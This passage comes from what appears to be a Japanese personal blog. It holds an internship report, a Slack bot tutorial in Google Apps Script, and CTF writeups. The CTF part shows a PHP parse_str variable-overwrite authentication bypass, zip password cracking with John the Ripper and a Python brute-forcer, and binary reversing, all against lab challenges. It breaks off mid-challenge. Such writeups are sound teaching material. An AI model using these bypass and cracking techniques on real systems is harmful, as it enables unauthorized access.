teppay’s log

*について書きます

サイボウズ サマーインターンシップ2018いってきた

はじめに

https://cybozu.co.jp/company/job/recruitment/intern/images/interntop/banner_summer2018.png

動機

サイボウズインターンに申し込んだ動機は以下の4つです

セキュリティ・キャンプで気になった企業だった

セキュリティ・キャンプに参加した際に,企業プレゼン?的なものでサイボウズのプレゼンを見て,プレゼン中の雰囲気が良くて気になっていました

セキュリティで有名

サイボウズの脆弱性報奨金制度Twitterなどで良くランキングが流れてきたり,「バグハンター合宿」のような独特の企画を開催したりしていて,その裏側に興味がありました

報酬が良かった

ぶっちゃけインターン先としてサイボウズに目が行った最初の理由は報酬の高さです(笑 調べれば出るのであえて金額には言及しませんがトップクラスの良さだと思います.
また報酬がもらえるのはもちろん嬉しいことですが,それだけでなく「その良い報酬をインターンに支払うことのできる景気のいい?企業」であるということ自体も選択の大きい理由になりました.

インターンの内容が詳しめに公開されていた

サイボウズインターンは応募の時点でどんなことをやるかが詳しめに公開されていて,過去のレポートもあったので,インターンに参加したらなにができるかが明確だったのが良かったです.

インターンまでの流れ

あくまで今回のインターンの流れです

書類選考

Webの応募フォームからエントリーシートを提出すればOKでした.
内容も動機と自己PRとインターンに必要なスキルの確認程度のもので,研究なんかで時間がなかった自分にはとてもありがたかったです.

面接

東京オフィスでの面接でした.私服で行きました.
内容としては,書類選考の際に書いた内容をベースに,自分が今やってることなんかを聞かれたり逆に質問したりでした. 「面接」という固い感じではなく,おしゃれなオフィスで二人の社員さんとおしゃべりって感じだったので緊張せず セキュリティが面白い,セキュリティはかっこいいみたいな話で一人で勝手に盛り上がって途中でどんな質問に答えてたかわからなくなった記憶があります(笑

インターンの概要

品質保証・セキュリティコースはそのコース名の通り,サイボウズ品質保証セキュリティの2つのプロセスを体験することのできるコースでした.
1日目の午後から3日目の午前中までが品質保証で3日目の午後から5日目までがセキュリティでした.

0日目

自分は本社(日本橋)と自宅の距離が遠くはないという判定でホテルが支給されなかったのですが,9時出社のためには6時ごろには起きなければならず,普段から遅寝遅起きを徹底している自分には厳しいと思ったので近くのカプセルホテルをとって,前泊から5泊をそこで過ごしました.

↓カプセルホテルの一室

f:id:teppay:20180921174239j:plain

1日目

9時集合だったので8:45くらいに着く感じで行って,例によってオフィスの写真をとりました

f:id:teppay:20180921174306j:plain

午前中はオリエンテーションと,インターン生全員に向けてセキュリティの講義がありました.この講義のあとの簡単な小テストに合格しなければ補習を受けなければならなかったたためびびりましたが無事全員合格できました.

午後からは早速品質保証のインターンで,kintoneのある機能に対する試験設計が始まりました.

↓歓迎会

2日目

1日目に引き続き試験設計を実施して,設計した試験をお互いにレビューしたり,モブ形式でレビューしたりしました. その後試験仕様書を基に試験を行い,また探索的にソフトウェアを試験するアドホック試験を体験しました.

またこの日は社長の青野さんとインターン生でランチをしました.最初は若干緊張したけどすごくフランクな方で「会社に来る意味がわからなかったので,会社を人が集まる(人が来たくなる)場所にしたかった」という話がなるほどとなりました.

3日目

3日目は2日目に発見された不具合の改修確認を体験して,品質保証のインターンが終了しました.

この日のお昼は社員さんと鶏料理のお店に行って唐揚げを食べました.

午後からはセキュリティのインターンが始まりました.セキュリティのインターンではPSIRTの業務を体験させてもらうことになりました.
最初は脆弱性のハンズオンで,XSSやSQLiなどのメジャーな脆弱性について古い製品で体験しました.

その後,用意された脆弱性に対して,サイボウズ脆弱性報奨金制度で報奨金の金額を決める際などのも使われるCVSS v3の値を算出して,それをメンターさんにレビューしてもらう体験をしました.

4日目

この日も引き続き脆弱性の評価とそのレビューを受けるところから始まりました.

この日もお昼は社員さんと外食で,確かスペイン料理のお店に行きました

↓揚げたニクに葉っぱが乗ったモノ f:id:teppay:20180921174332j:plain

午後からは,PSIRTの人が行う脆弱性の検証を体験しました.こちらも脆弱性が存在する古いバージョンに対してテストしました。その際、メンターの方が把握していなかったSQLi(※)を発見することができてゾクゾクしました(笑 ※最新バージョンではすでに改修済です。

5日目

この日の午前は検証を引き続き行って,午後からは社員さんが行っているのと同様に脆弱性の報告をして,それを評価しました.

最終日は成果報告会があって,その発表資料を2時間で作らねばならず,3人で分担しましたが作り終わったのは報告会の3分前でした

その他

インターン中にいろんなイベントに参加させてもらったのでそのことについて

勉強会(任意参加)

3日目の夜に社員さんがインターン生向けに勉強会を開いてくださったものに参加しました. 内容はアクセシビリティについてで,「アクセシビリティとはなにか」という話から,iPhoneのVoiceOverという機能を使って実際にアクセシビリティのための機能について解説を聞くことができました.

QA勉強会 -BlackHat 報告会-

QAとPSIRTが所属している品質保証部という部門の勉強会にも参加しました. これはBlackHat USAに参加された社員さんの報告を聞くもので,東京オフィスだけでなく他のオフィスからリモートで参加している人が居たのが印象的でした.

話スシ🍣(任意参加)

話スシとはサイボウズの社内LT大会のようなもので,技術以外のことについて社員さんが熱く語っていました.
内容としては,総務さんがSUGEEEっていう話と,ディズニーの過ごし方についての話でした.とりあえずディズニーにとても行きたくなりました.

またここでは(普段はなかなかでないらしいんですが),リアル寿司がでたので美味しくLTを聞くことができました.

f:id:teppay:20180921180825j:plain

Cybozu Meetup(任意参加)

話スシのあとに,オフィスで開催されていたCybozu Meetupにも特別に参加させていただきました.
内容はアジャイルとかチームについてだったんですが,正直ほぼ知らない分野だったので単語をググりながら理解するのがやっとで疲れました笑

インターンの感想

楽しかった

メンターさんや人事さんの努力のおかげでしょうが,とても楽しくインターンすることができました.
インターンの内容は知らなかったことや興味深いことばかりで,「明日も早く行きたい」となりましたし,盛りだくさんすぎてこんなにいろいろしてもらって大丈夫か?となりました笑

美味しかった

インターン中にいろいろ食べさせてもらいました.昼食は毎日支給されましたし,夜も歓迎会やら寿司やら懇親会やらでたくさん食べました.

帰りたくなくなった

最終日の報告会のあと,「じゃあまた来週」的な冗談を言われて「はい!ぜひ!」って感じでした笑

サイボウズすごい

  • 出勤時間・場所が超フレキシブル
  • 良い意味で超自由
  • 社員さんどうしの仲がいい
  • 全体的に堅苦しい「会社感」がない

おわりに

こんなこと言ってたのに1週間以上おそくになってごめんなさい笑

Google Apps ScriptとSlack Event APIで体重を記録してくれるBotを作ってみた

はじめに

  • 最近顕著に太ってきた
  • お盆に帰って会ったすべての人に太ったと言われた
  • 腹がたった
  • 体重計を買った
  • ランニングを始めた
  • 効果が見えたほうが続けやすいだろうし記録したい
  • SlackBotにやってもらおう
  • はじめて作るので備忘録も兼ねて記録します
  • 改善点があれば教えてください
  • コードはGitHubにあげてあります

  • 初めてSlackBotをつくってテンション上がってたんですが後でよく考えたら,(体重の記録という部分が)車輪の再々々発明的なことをしていて若干恥ずかしい感じですが「SlackBotの作り方の例」として読んであげてくださいw

ながれ

  • Slack側: 自作Appを新規作成する
  • Slack側: 登録したAppにBot Userを追加する
  • GAS側: 最低限のEvent Handlerを実装
  • Slack側: Slackで起こったEventを外部サーバに通知してもらう設定
  • Slack側: 自作Appのインストール
  • 体重の記録機能
  • グラフ

やったこと

Slack側: 自作Appを新規作成する

まずはSlack側での操作です
Slack API: Applications | SlackここからSlack Appsを新規作成します
以下のようなダイアログでAppの名前と開発に使用する(公開しない場合は実際に使用する)Workspaceを指定します.

f:id:teppay:20180923021553p:plain

Slack側: 登録したAppにBot Userを追加する

次にBot UsersというメニューからAppにBot Userを追加する 以下のように表示名とDefault usernameというものを指定します.

f:id:teppay:20180923021632p:plain

ちなみに自分は良いのが思い浮かばなかったのでそのまま体重管理さんって名前にしました笑
今回のブログでは体重管理さんですが今後は改良を加えて健康管理さん秘書さんみたいにグレードアップしていく予定です

GAS側: 最低限のEvent Handlerを実装

今回作ったSlackのBotはバックエンドにGoogleGoogle Apps Script(以降GAS)を使用しました.
GASを使うことの最大の理由はタダであることです.WebのIDEを使用してブラウザで開発して,そのままWebサイトから実行ができます.よってサーバを自前で用意する必要があるません.素晴らしい!!

今回のSlackのBotではEvent APIと呼ばれる種類のAPIを使用します.このAPIを使用するためには最低限実装する必要のある処理があるのでまずはそれを実装します.Slack Botの種類は以下の記事にわかりやすくまとまっています

qiita.com

Event APIを使うためにはアクセス先の検証のためにurl_verificationというtypeのアクセスに適切に答える必要があります.
challangeパラメータをそのままレスポンスとして返すだけの処理を書きます. 詳しくはこのページに書いてありますが,以下のコードのコピペで動きます url_verification event | Slack

function doPost(e) {
  var postData = JSON.parse(e.postData.getDataAsString());
  var res = {};
  
  if(postData.type == 'url_verification') {
    res = {'challenge':postData.challenge}
  } 
  
  return ContentService.createTextOutput(JSON.stringify(res)).setMimeType(ContentService.MimeType.JSON);
}

doPostはGASのいわゆる組み込み関数のようなもので,Webアプリケーションとして動作させている場合にPOSTメソッドでのアクセスで実行される関数です.なのでdoGetもあります. ちなみにGAS自体の説明はあまりしません.
Apps Script – Google Apps Scriptにアクセスして,左側のメニューから新規スクリプトを作成するとIDEに入れます.コードをコピペして保存してください.
ここからが重要で,Scriptを保存しただけではBotのバックエンドとして動かすことはできません.
ファイル -> 版を管理を選択し,適当な名前を付けて保存します.バージョン管理になるのでGitHubのCommitメッセージ的な感じでつけると良いんだと思います.
次に,公開 -> ウェブアプリケーションとして導入を選択して,プロジェクトバージョンを最新の版にして,アプリケーションにアクセスできるユーザを「全員(匿名ユーザを含む)」にして更新します.この一通りの操作は面倒ですが,コードを変更したらその都度行ってください,
そこで表示されたURLが作ったWebアプリケーションのURLになるので,適当にメモっといてください. 下記の記事に画像つきでわかりやすくウェブアプリケーションとして導入の手順がまとまっています. Google Apps Scriptを使って簡易APIをサクッと作る

Slack側: Slackで起こったEventを通知してもらう(Event API)設定

次はSlack側のEvent APIを有効にします
左側のメニューからEvent Subscriptionsを選択し,トグルスイッチを操作してONにします.
ONになると,Request URLという欄があるのでそこに先程メモったGASのWebアプリケーションのURLを入力します. スクショのようにVerifiedとなれば1つ前で実装したurl_verificationがうまく行ったということです

f:id:teppay:20180923021643p:plain

あとは,どのEventを通知してほしいか選べば良いだけです.今回のBotはひとまずDMで送られてきたメッセージが読めればいいのでこのようにSuvscribe to Bot EventsAdd Bot User Eventからmessage.imを追加して,画面下部のSave Changesをクリックして保存します.

f:id:teppay:20180923021722p:plain

Slack側: 自作Appのインストール

いくら設定やバックエンドの処理を書いたってインストールしなければ使えないので,Workspaceにインストールします.
左側のメニューでInstall Appを選択し,Install App to Workspaceをクリックして許可すれば,最初にしていしたWorkspaceにAppがインストールされます.

f:id:teppay:20180923021734p:plain

これで,体重管理さんにDMを送ると,それがGASのWebサーバに通知される様になりました.
1枚目はSlackのDMで体重管理さんに送ったメッセージで,2枚目はGASでconsole.logして表示したPOSTリクエストのペイロードの一部です. f:id:teppay:20180923021743p:plain f:id:teppay:20180923021749p:plain

これでほぼ完成です.あとは受け取ったEventに対してSlack側にメッセージを送るなり,SpreadSheetに記録するなりの処理を書くだけです.
この記事は以下の2つの機能を実装してひとまず終わりにしようと思います.

  • 体重を送信すると,SpreadSheetに記録する
  • ぐらふと送信すると,グラフを返信してくれる

体重の記録機能

体重を記録してほしいというのが当初の目的ですので,この機能を実装しないわけには行きません.
この機能に必要なのは

  • 体重をメッセージでうけとって,SpreadSheetに書き込む
  • 返事をする

の2つの処理です.

体重をメッセージで受け取って,SpreadSheetに書き込む

今回のBotはなるべく簡単に体重を入力したいので,小数を入力したら体重とみなすことにします. 文字列を小数に直したものと,unix timeを引数としてうけとってSpreadSheetに書き込む関数recodeWeightは以下のようになります.

function getSpreadsheet(){
  var spreadsheetId = '<SpreadSheetID>';
  var spreadsheet = SpreadsheetApp.openById(spreadsheetId).getSheetByName('シート1');
  return spreadsheet;
}

function recodeWeight(w, utime){
  //console.log('recodeWeight');
  var spreadsheet = getSpreadsheet();
  var d = new Date(utime*1000);
  spreadsheet.appendRow([d.getFullYear(), d.getMonth()+1, d.getDate(), d.getHours(), d.getMinutes(), w])
}

下記の記事にGASからSpreadSheetにアクセスする方法がわかりやすくまとまっています. Google Apps Script で Spreadsheet にアクセスする方法まとめ

返事をする

体重を送って返事がなかったらBot感がないし,ほんとに記録できてるのかもよくわからないので返事をしてほしいので返事をする処理も実装します.
今回Eventを通知してもらうためにEvent APIを使用していますが,これだけでは返事ができません.Botからメッセージを送りたい場合Web APIというものを使用します.
詳しいことは下記のサイトに書いてあるので説明は端折ります. eventオブジェクトと文字列message返事を返すreplyDM関数は以下のようになります.

function replyDM(e, message){
  var url = 'https://slack.com/api/chat.postMessage'
  var token = '<Bot User OAuth Access Token>';
  
  var data = {
    'channel' : e.channel,
    'text' : message,
    'as_user' : true
  };
  
  var options = {
    'method' : 'post',
    'contentType' : 'application/json; charset=UTF-8',
    'headers' : {'Authorization': 'Bearer '+token},
    'payload' : JSON.stringify(data)
  };
  
  var response = UrlFetchApp.fetch(url, options)
  console.log(response.getContentText());

f:id:teppay:20180923021809p:plain

ぐらふと送信すると,グラフを返信してくれる

記録してるだけではなんかつまらないのでそれをグラフにして表示してもらうことにします.
この機能に必要な処理は,

  • SpreadSheetのデータからグラフを作る
  • グラフを画像として出力する
  • 画像をSlackに送信する

の3つです

SpreadSheetのデータからグラフを作る

まずは1つ目の機能で記録したデータからグラフを作ります. Spreadsheetの機能を使ってグラフを作ることも出来るんですが,今回はChartsクラスを使ってみました.これはなんかSpreadsheetを使う場合のグラフ自体のカスタマイズ方法がわからなかったためですw
意外とこっちを使っている記事がすくなくて大変でした.
Class LineChartBuilder  |  Apps Script  |  Google Developers

function buildLineChart(){
  var sheet = getSpreadsheet();
  var dates = sheet.getRange(1, 1, sheet.getLastRow(), 3).getValues();
  var weights = sheet.getRange(1, 6, sheet.getLastRow(), 1).getValues();
  var dataTable = Charts.newDataTable()
                        .addColumn(Charts.ColumnType.DATE, 'date')
                        .addColumn(Charts.ColumnType.NUMBER, 'weight');
  
  for(var i=0; i<sheet.getLastRow(); i++){
    var date = new Date(dates[i][0], dates[i][1], dates[i][2])
    dataTable.addRow([date, weights[i][0]])
  }
  
  var chart = Charts.newLineChart()
                    .setDataTable(dataTable)
                    .setTitle('My Weight')
                    .setTitleTextStyle(Charts.newTextStyle().setFontSize(40))
                    .setDimensions(800, 600)
                    .setColors(['#4aa0f7'])
                    .setPointStyle(Charts.PointStyle.MEDIUM)
                    .setOption('vAxis.minValue', 50)
                    .setOption('vAxis.maxValue', 70)
                    .setXAxisTextStyle(Charts.newTextStyle().setFontSize(13))
                    .setXAxisTitle('Date').setXAxisTitleTextStyle(Charts.newTextStyle().setFontSize(20))
                    .setYAxisTextStyle(Charts.newTextStyle().setFontSize(13))
                    .setYAxisTitle('Weight').setYAxisTitleTextStyle(Charts.newTextStyle().setFontSize(20))
                    .build()

  return chart
}
グラフを画像として保存する グラフから画像を生成する

保存してから送る必要があるのかと思ってたら生成して,そのまま送信できるみたいです
しかも画像の生成は chart.getBlob() だけ

画像をSlackに送信する

これはSlackのAPIを使うだけです files.upload method | Slack

function uploadImage(channel, imageBlob){
  var url = 'https://slack.com/api/files.upload';
  var token = credentials['slackToken'];
  
  var data = {
    channels: channel,
    file: imageBlob,
    filetype: 'png',
    title: 'Chart',
  };
  
  var options = {
    'method': 'POST',
    'headers': {'Authorization': 'Bearer '+token},
    'payload': data
  };
  
  var response = UrlFetchApp.fetch(url, options)
}

これですべての部品が完成しました コードはGitHubに置いてあるので参考にしていただけたら喜びます

GitHub - teppay/health_manager: This is Slack Bot that manage our health

f:id:teppay:20180923021824p:plain

補足:不具合

これまでのコードをコピペしただけでは1回の「ぐらふ」に対して4回くらい画像が送られてくるという不具合が発生します.
これはおそらくdoPostの中で重たい処理(グラフ・画像の生成)を行うことでEventAPIに対するレスポンスが遅くなって,(届いてないと勘違いされることで)Slack側からのWebHookが何回も送られてきてしまうことが原因だと思っています.
GASでは非同期処理が基本的にできなそうなので,暫定的に以下の方法で乗り切っています.なにかいい方法を知っている方はぜひ教えてください!!!

Slack Event APIでは,それぞれのEventにevent_idという値が割り振られているのでそれが重複しているWebhookを捨てるという方法をとりました. CacheServiceというkey/value方式で値を保存できる仕組みが用意されているので,そこにevent_idを保存しています

function doPost(e) {
  var postData = JSON.parse(e.postData.getDataAsString());
  
  var res = {};
  if(postData.type === 'url_verification') {
    res = {'challenge':postData.challenge}
  } else if(postData.type === 'event_callback'){
    console.log(postData);
    if(!eventIdProceeded(postData.event_id)){
       eventHandler(postData.event);
    }
  }
  
  return ContentService.createTextOutput(JSON.stringify(res)).setMimeType(ContentService.MimeType.JSON);
}

function eventIdProceeded(eventId){
  var prevEventId = CacheService.getScriptCache().get(eventId);
  if(prevEventId){
    return true;
  }else{
    CacheService.getScriptCache().put(eventId,'proceeded', 60*5);
    return false;
  }
}

参考Webサイト

TokyoWesterns CTF 4th 2018 Writeup

はじめに

  • Tokyo Westerns CTF 4th 2018にぼっち参戦した
  • 今回もwarmupしか解けなかった
  • お勉強が必要..
  • 複数のパケットに渡ってメッセージが隠されている系のやつは苦手だったので解けて嬉しかった
  • dec_dec_decは途中までで詰まって競技終了を迎えましたが,終了後writeupからヒントを貰ってとき直して追記しました(追記: 2018/9/3 18:45)

Writeup

Welcome[warmup]

Welcome TWCTF{Welcome_TokyoWesterns_CTF_2018!!}

SimpleAuth[warmup, web]

与えられたURLにアクセスすると以下のようなソースコードが表示される

<?php

require_once 'flag.php';

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['action'])){
        $action = $res['action'];
    }
}

if ($action === 'auth') {
    if (!empty($res['user'])) {
        $user = $res['user'];
    }
    if (!empty($res['pass'])) {
        $pass = $res['pass'];
    }

    if (!empty($user) && !empty($pass)) {
        $hashed_password = hash('md5', $user.$pass);
    }
    if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
        echo $flag;
    }
    else {
        echo 'fail :(';
    }
}
else {
    highlight_file(__FILE__);
}

ソースを読むとURLのクエリ文字列がない時は実行されているファイル(このソースコード)が表示される
それ以外の部分を読むと一見ユーザ名とパスワードをくっつけてMD5ハッシュと比較するだけの弱い雑な認証にみえる
?action=auth&user=admin&pass=passwordというクエリ文字列をつけることで,ユーザ名admin,パスワードpasswordを投げる. ただし大きなミス?がある.

クエリ文字列をパースしてその結果を受け取っているな部分で使用されているparse_str関数について調べてみると,

void parse_str ( string $encoded_string [, array &$result ] ) URL 経由で渡されるクエリ文字列と同様に encoded_string を処理し、現在のスコープに変数をセットします。 (or in the array if result is provided)

この関数に戻り値はない.しかもパースの結果は現在のスコープの変数に入る.
つまり,?aaa=bbb&ccc=dddのようにクエリ文字列を指定すると

$aaa = "bbb";
$ccc = "ddd";

と書いたのと同じになるというわけなのでこれを利用すれば,変数$hashed_passwordに入る文字列をはじめから指定することが可能となる. またuserpassを指定してしまうとMD5ハッシュで上書きされてしまうので指定しない. よってクエリ文字列は,?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e

これを付けてアクセスするとフラグがきた TWCTF{d0_n0t_use_parse_str_without_result_param}

mondai.zip[warmup, misc]

zipファイルが与えられた以下の順序でといた

$ unzip mondai.zip
$ ls 
y0k0s0.zip

y0k0s0.zipにはパスワードがかかっていたのでJohnTheRipperを使ってみると

$ zip2john y0k0s0.zip > hash_y0k0s0.txt
$ john --show hash_y0k0s0.txt
y0k0s0.zip:y0k0s0:::::y0k0s0.zip

1 password hash cracked, 0 left

パスワードがy0k0s0とわかった

$ unzip -P y0k0s0 y0k0s0.zip
Archive:  y0k0s0.zip
  inflating: capture.pcapng
replace mondai.zip? [y]es, [n]o, [A]ll, [N]one, [r]ename: r
new name: mondai_2.zip
  inflating: mondai_2.zip

capture.pcapngと新しいmondai.zipがでてきたのでmondai_2.zipとrenameした mondai_2.zipにもパスワードがかかっているが,JohnTheRipperでは無理っぽい
そこでcapture.pcapngの方にヒントが隠されてるということだと思い,そっちをwiresharkで開いてみた.
中身はすべてICMPなパケットでこのどこかにzipのパスワードが隠されているはず. 正直良くわからなかったのでWiresharkでだらだら見ていたら,ICMPパケットのdataフィールドのLengthが全体的にasciiの範囲内にある気がしたので1番多いip.src == 192.168.11.3 and ip.dst == 192.168.11.5なパケットのdata.lenフィールドを取り出してasciiに変換してみた

$ tshark -r capture.pcapng -T fields -e data.len 'ip.src == 192.168.11.3 and ip.dst == 192.168.11.5' | awk '{printf "%c", $1}'
We1come

We1comeという文字列がでてきたのでパスワードに使ってみると

$ unzip -P We1come mondai_2.zip
Archive:  mondai_2.zip
  inflating: list.txt
replace mondai.zip? [y]es, [n]o, [A]ll, [N]one, [r]ename: r
new name: mondai_3.zip
  inflating: mondai_3.zip

list.txtmondai.zip(mondai_3.zipにrename)がでてきた.

$ head list.txt
nb`_hlPYgZ
dhuYP\pUks
uSXWbQPtiY
cnbs_Yeahn
ui\R_ReZ[m
gZW^b]Sjqg
^RT\nmZ`^`
mnXgPr\^[T
erRQSov[uY
lkWdn[_oTj

$ wc -l list.txt
999

このようにlist.txtにはパスワードらしき文字列が999こ入っている. この中に本物があると仮定して,これを一つずつ試していくことにした.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import zipfile

def unzip_passwd(filename, passwd):
    with zipfile.ZipFile(filename, 'r') as zip_f:
        try:
            zip_f.extractall(path='.', pwd=passwd)
            print(f'Password is {passwd}!!!')
            return True
        
        except:
            return False

def challange_all_passwd():
    pass_file = 'list.txt'
    zip_file = 'mondai_3.zip'

    with open(pass_file, 'r') as pass_f:
        for p in pass_f:
            p = p.replace('\n', '')
            p = p.replace('\r', '')
            p = p.encode('utf-8')
            ret = unzip_passwd(zip_file, p)
            if ret:
                break


if __name__ == '__main__':
    challange_all_passwd()

この実行の結果,パスワードはeVjbtTpvkUとわかった.

$ unzip -P eVjbtTpvkU mondai_3.zip
Archive:  mondai_3.zip
  inflating: 1c9ed78bab3f2d33140cbce7ea223894

1c9ed78bab3f2d33140cbce7ea223894というファイルがでてきた.
長い...Flagはまだか...

$ file 1c9ed78bab3f2d33140cbce7ea223894
1c9ed78bab3f2d33140cbce7ea223894: Zip archive data, at least v2.0 to extract

fileコマンドによるとこれもzipらしい
ファイル名がハッシュ値っぽいのでとりあえずググってみる. その結果happyhappyhappyという文字列のMD5ハッシュであることがわかった.

$ unzip -P happyhappyhappy 1c9ed78bab3f2d33140cbce7ea223894
Archive:  1c9ed78bab3f2d33140cbce7ea223894
replace mondai.zip? [y]es, [n]o, [A]ll, [N]one, [r]ename: r
new name: mondai_5.zip
  inflating: mondai_5.zip
 extracting: README.txt

はい.まだ終わりません.mondai.zipREADME.txtがでてきた

$ cat README.txt
password is too short

パスワードが短いということで最悪ブルートフォースすればいいかと思いながらJohnTheRipperを使ったらパスワードtoが求まった

$ unzip -P to mondai_5.zip
Archive:  mondai_5.zip
  inflating: secret.txt
  
$ cat secret.txt
Congratulation!
You got my secret!

Please replace as follows:
(1) = first password
(2) = second password
(3) = third password
...

TWCTF{(2)_(5)_(1)_(4)_(3)}

よって,やっっっっっと,
TWCTF{We1come_to_y0k0s0_happyhappyhappy_eVjbtTpvkU}

dec dec dec[warmup, reversing]

$ file dec_dec_dec
dec_dec_dec: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0c8f77007398e1cb7857e481cff521122c1b2cb9, stripped

この通り64bitのELFを与えられた. IDAで開いて見てみると,コマンドライン引数でFlagを与えて実行すると,correctincorrectが表示されるよくあるタイプのやつだった 大まかには以下のような処理

  • mallocコマンドライン引数で与えられた文字列と同じ長さの領域(dest)を確保
  • strncpyで確保された領域にコマンドライン引数で与えられた文字列をdestにコピー
  • destにコピーされた文字列を関数sub1にわたし,戻り値をdestにもどす
  • destの文字列を関数sub2にわたし,戻り値をdestにもどす
  • destの文字列を関数sub3にわたし,戻り値をdestにもどす
  • 最後にdestの文字列とある文字列を比較して同じならcorrect

よってこの3つの関数を読み解けば良いわけでひとつずつ見ていく

sub1

関数の最初で'A~Za~z0~9+/'の文字列を読み込んでいる.これで頭に浮かんだのはBase64.そこでこの関数はBase64エンコードを行うものと判断.
デバッガで確かめた結果やはりBase64を求めるものだった.

sub2

これはただのRot13

sub3

ここがわからなかった... 競技終了後Writeupを確認してuuencodeだということがわかったので以降とき直し よく考えれば問題名dec_dec_decだし,上の2つエンコードだし,有名なエンコード手法を確認すれば解けたのでは??(怒)

3つの関数のエンコード手法がわかったのであとは順番にデコードすればいいだけ. 最後に比較される文字列を持ってくると@25-Q44E233=,>E-M34=,,$LS5VEQ45)M2S-),7-$/3Tのようなものだったので,(最後にスペースがあるので注意)
以下のようなファイルをuuencoded.txtという名前で保存

begin 777 out.txt
@25-Q44E233=,>E-M34=,,$LS5VEQ45)M2S-),7-$/3T 
 
end

あとは

$ uudecode uuencoded.txt
$ cat out.txt | tr A-Za-z N-ZA-Mn-za-m | base64 -D
TWCTF{base64_rot13_uu}

SECCON Beginners CTF 2018 Writeup

はじめに

  • SECCON Beginners CTF 2018がはじめてOnlineで開催されたので参加した
  • 個人的には,最近勉強しているReversingとWebが(warmupを含めた)2問ずつしか解けなかったのがくやしい

Writeup

Reversing

[Warmup]Simple Auth
  • バイナリが与えられた
  • stringsではめぼしいものがなかったのでIDAにくわせた
  • scanfで得た30文字の入力を引数としてauthという関数に渡してcallしているのでまさにここだろう
  • hexで変数にflag文字列が入れられているので細かいところは見ずにそれを提出してみた ctf4b{rev3rsing_p4ssw0rd}
crackme

バイナリを解析して、入力値を求めてください。

crackmeというファイルを与えられた

$ file crackme
crackme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7e64cdb9686f4ec7c55701b9bbf8b69417da0c46, stripped

なにも考えずIDAに食わせた.
main関数を見た感じは,文字列を受け取ってそれを関数に渡してその結果によって当たり/はずれが出力されるというよくあるタイプのcrackmeという感じ
内部では,コマンドライン引数として与えられた文字列を最初の16文字と残りに分割して,それぞれを別の関数に通して検証をしているようだ
その関数の動作をそれぞれPythonで書き直してみると,

def sub1(s):
    b1 = b'\x9C\x9E\x8C\x3E\x68\x64\x7B\x3F\x50\x63\x0A\x7F\x55\x73\x1E\x64'

    idx = 0
    byte_601048 = 0xff

    res = True

    while idx < 0xf:
        print(s[idx:idx+4])
        if ((s[idx+0]^byte_601048)&0xff) != b1[idx]:
            res = False
        byte_601048 = (byte_601048^0x15)&0xff
        if ((s[idx+1]^byte_601048)&0xff) != b1[idx+1]:
            res = False
        byte_601048 = (byte_601048|0x20)&0xff
        if ((s[idx+2]^byte_601048)&0xff) != b1[idx+2]:
            res = False
        byte_601048 = (byte_601048&0xf)&0xff
        if ((s[idx+3]^byte_601048)&0xff) != b1[idx+3]:
            res = False
        idx += 4

        if res:
            res = byte_601048
    return res

def sub2(s, param):

    byte_601048 = param
    idx = 0

    b2 = (0x26345D606E7B553C).to_bytes(8, 'little') + (0x283F7939376D6526).to_bytes(8,'little')

    while idx < 0xf:
        print(s[idx:idx+4])
        if ((s[idx+0]^byte_601048)&0xff) != b2[idx]:
            res = False
        byte_601048 = (byte_601048&0xA)&0xff
        if ((s[idx+1]^byte_601048)&0xff) != b2[idx+1]:
            res = False
        byte_601048 = (byte_601048 + (byte_601048 << 3))*2 + byte_601048
        byte_601048 = byte_601048 + byte_601048*8
        byte_601048 = (byte_601048 >> 9) & 0xff
        if ((s[idx+2]^byte_601048)&0xff) != b2[idx+2]:
            res = False
        byte_601048 = (byte_601048 ^ 0x55)&0xff
        if ((s[idx+3]^byte_601048)&0xff) != b2[idx+3]:
            res = False

        idx += 4
    return res

どちらの関数も引数の文字列からそれぞれ4文字ずつ取り出して,ごちゃごちゃいじって,ハードコードされたバイト列と比較しています.
そのごちゃごちゃは,計算可能なグローバル変数の値(byte_601048)とXORのみで実現されているので,ハードコードされたバイト列からFlagを復元できました.

def solve_sub1():
    b1 = b'\x9C\x9E\x8C\x3E\x68\x64\x7B\x3F\x50\x63\x0A\x7F\x55\x73\x1E\x64'
    idx = 0
    byte_601048 = 0xff

    res = ''

    while idx < 0xf:
        res += chr(b1[idx+0]^byte_601048)
        byte_601048 = (byte_601048^0x15)&0xff
        res += chr(b1[idx+1]^byte_601048)
        byte_601048 = (byte_601048|0x20)&0xff
        res += chr(b1[idx+2]^byte_601048)
        byte_601048 = (byte_601048&0xf)&0xff
        res += chr(b1[idx+3]^byte_601048)
        idx += 4
    return (res, byte_601048)

def solve_sub2(param):
    byte_601048 = param
    idx = 0

    b2 = (0x26345D606E7B553C).to_bytes(8, 'little') + (0x283F7939376D6526).to_bytes(8,'little')

    res = ''

    while idx < 0xf:
        res += chr(b2[idx+0]^byte_601048)
        byte_601048 = (byte_601048&0xA)&0xff
        res += chr(b2[idx+1]^byte_601048)
        byte_601048 = (byte_601048 + (byte_601048 << 3))*2 + byte_601048
        byte_601048 = byte_601048 + byte_601048*8
        byte_601048 = (byte_601048 >> 9) & 0xff
        res += chr(b2[idx+2]^byte_601048)
        byte_601048 = (byte_601048 ^ 0x55)&0xff
        res += chr(b2[idx+3]^byte_601048)
        idx += 4
    return res

def main():
    res, param = solve_sub1()
    print(param)
    print(res+solve_sub2(param))

Web

[Warmup] Greeting
<?php

if(isset($_POST['name'])) {
  setcookie("name", $_POST['name'], time()+3600);
  $username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8");

  // 管理者でログインできる?
  if($username === "admin") {
    $username = "偽管理者";
  }
} elseif(isset($_COOKIE['name'])) {
  $username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8");
} else {
  $username = "ゲスト";
}

?>
<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="UTF-8">
    <title>SECCON Beginners greeting service</title>
  </head>
  <body>
    <h1>こんにちは!<?=$username?>さん!</h1>
    <hr>
